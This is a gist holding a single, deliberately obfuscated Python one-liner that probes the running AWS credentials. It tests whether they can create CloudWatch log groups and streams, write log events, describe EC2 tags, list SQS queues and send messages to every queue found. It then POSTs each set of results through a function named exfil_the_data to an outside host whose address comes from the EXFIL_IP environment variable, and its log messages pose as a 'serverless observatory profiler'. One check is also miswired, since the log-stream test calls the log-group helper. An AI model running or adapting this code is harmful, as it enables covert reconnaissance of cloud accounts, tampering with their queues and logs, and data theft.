gistfile1.txt

(lambda __print, __g, __contextlib, __y: [[[[[[(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: ('\nChecks to run if the environment is AWS.\n\nlogs:CreateLogGroup\nlogs:CreateLogStream\nlogs:PutLogEvents\nec2:DescribeTags\nsqs:ListQueues\nsqs:PutMessage\n\n', [[[[[[[[[[(lambda __after: (json.dumps(check_cloudwatch()), (exfil_the_data(json.dumps(check_cloudwatch())), (exfil_the_data(json.dumps(check_ec2())), (exfil_the_data(json.dumps(check_sqs())), __after())[1])[1])[1])[1] if (__name__ == '__main__') else __after())(lambda: None) for __g['exfil_the_data'], exfil_the_data.__name__ in [(lambda data: (lambda __l: [[[[[[(__print(__l['response']), None)[1] for __l['response'] in [(urllib2.urlopen(__l['req']))]][0] for __l['req'] in [(urllib2.Request('http://{EXFIL_IP}/'.format(EXFIL_IP=__l['exfil_ip']), data=__l['data'], headers=__l['headers']))]][0] for __l['headers'] in [({'Content-Type': 'application/json'})]][0] for __l['data'] in [(__l['data'].encode('utf-8'))]][0] for __l['exfil_ip'] in [(os.getenv('EXFIL_IP'))]][0] for __l['data'] in [(data)]][0])({}), 'exfil_the_data')]][0] for __g['check_sqs'], check_sqs.__name__ in [(lambda : (lambda __l: [[__l['results'] for __l['results'] in [({'ListQueues': _sqs_can_list_queues(__l['sqs']), 'PutMessage': _sqs_can_put_message(__l['sqs'])})]][0] for __l['sqs'] in [(boto3.client('sqs'))]][0])({}), 'check_sqs')]][0] for __g['_sqs_can_put_message'], _sqs_can_put_message.__name__ in [(lambda client: (lambda __l: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, botocore.exceptions.ClientError) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda __after: (lambda __items, __after, __sentinel: __y(lambda __this: lambda: (lambda __i: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: __this())][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and ([True for __out[0] in [(lambda after: after())]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((__l['client'].send_message(QueueUrl=__l['queue'], MessageBody={}), (lambda ret: lambda after: ret)((lambda ret: lambda after: ret)(True)))[1])]][0]})())))([None]) for __l['queue'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(__l['response']['QueueUrls']), lambda: (lambda ret: lambda after: ret)(False), []) if (__l['response'].get('QueueUrls', None) is not None) else (lambda ret: lambda after: ret)(False))(lambda: (lambda __after: __after())) for __l['response'] in [(__l['client'].list_queues())]][0])]][0]})())))([None]) for __l['client'] in [(client)]][0])({}), '_sqs_can_put_message')]][0] for __g['_sqs_can_list_queues'], _sqs_can_list_queues.__name__ in [(lambda client: (lambda __l: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, botocore.exceptions.ClientError) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda ret: lambda after: ret)(True) for __l['response'] in [(__l['client'].list_queues())]][0])]][0]})())))([None]) for __l['client'] in [(client)]][0])({}), '_sqs_can_list_queues')]][0] for __g['check_ec2'], check_ec2.__name__ in [(lambda : (lambda __l: [[__l['results'] for __l['results'] in [({'DescribeTags': _ec2_can_describe_tags(__l['ec2'])})]][0] for __l['ec2'] in [(boto3.client('ec2', region_name=os.getenv('AWS_DEFAULT_REGION')))]][0])({}), 'check_ec2')]][0] for __g['_ec2_can_describe_tags'], _ec2_can_describe_tags.__name__ in [(lambda client: (lambda __l: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, botocore.exceptions.ClientError) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda ret: lambda after: ret)(True) for __l['response'] in [(__l['client'].describe_tags(DryRun=True, MaxResults=10))]][0])]][0]})())))([None]) for __l['client'] in [(client)]][0])({}), '_ec2_can_describe_tags')]][0] for __g['check_cloudwatch'], check_cloudwatch.__name__ in [(lambda : (lambda __l: [[__l['results'] for __l['results'] in [({'CreateLogGroup': _cloudwatch_create_log_group(__l['cloudwatch']), 'CreateLogStream': _cloudwatch_create_log_group(__l['cloudwatch']), 'PutLogEvents': _cloudwatch_put_log_events(__l['cloudwatch'])})]][0] for __l['cloudwatch'] in [(boto3.client('logs'))]][0])({}), 'check_cloudwatch')]][0] for __g['_cloudwatch_put_log_events'], _cloudwatch_put_log_events.__name__ in [(lambda client: (lambda __l: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, botocore.exceptions.ClientError) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0] or issubclass(__exctype, Exception) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda __after: __after()) for __l['response'] in [(__l['client'].put_log_events(logGroupName=os.getenv('AWS_LAMBDA_LOG_GROUP_NAME', None), logStreamName=os.getenv('AWS_LAMBDA_LOG_STREAM_NAME', None), logEvents=[{'timestamp': int(time.time()), 'message': 'Test event from the serverless observatory profiler.'}]))]][0])]][0]})())))([None]) for __l['client'] in [(client)]][0])({}), '_cloudwatch_put_log_events')]][0] for __g['_cloudwatch_create_log_stream'], _cloudwatch_create_log_stream.__name__ in [(lambda client: (lambda __l: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, botocore.exceptions.ClientError) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda ret: lambda after: ret)(True) for __l['response'] in [(__l['client'].create_log_stream(logGroupName=os.getenv('AWS_LAMBDA_LOG_GROUP_NAME', None), logStreamName='foo'))]][0])]][0]})())))([None]) for __l['client'] in [(client)]][0])({}), '_cloudwatch_create_log_stream')]][0] for __g['_cloudwatch_create_log_group'], _cloudwatch_create_log_group.__name__ in [(lambda client: (lambda __l: [(lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, botocore.exceptions.ClientError) and [[True for __out[0] in [((lambda ret: lambda after: ret)(False))]][0] for __l['e'] in [(__value)]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda ret: lambda after: ret)(True) for __l['response'] in [(__l['client'].create_log_group(logGroupName='serverless-observatory-check-{uuid}'.format(uuid=uuid.uuid4().hex)))]][0])]][0]})())))([None]) for __l['client'] in [(client)]][0])({}), '_cloudwatch_create_log_group')]][0])[1])][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and ([True for __out[0] in [([lambda after: after() for __g['urllib2'] in [(__import__('urllib.request', __g, __g).request)]][0])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [([(lambda __after: __after()) for __g['urllib2'] in [(__import__('urllib2', __g, __g))]][0])]][0]})())))([None]) for __g['uuid'] in [(__import__('uuid', __g, __g))]][0] for __g['time'] in [(__import__('time', __g, __g))]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['json'] in [(__import__('json', __g, __g))]][0] for __g['boto3'] in [(__import__('boto3', __g, __g))]][0] for __g['botocore'] in [(__import__('botocore', __g, __g))]][0])(__import__('__builtin__').__dict__['print'], globals(), __import__('contextlib'), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))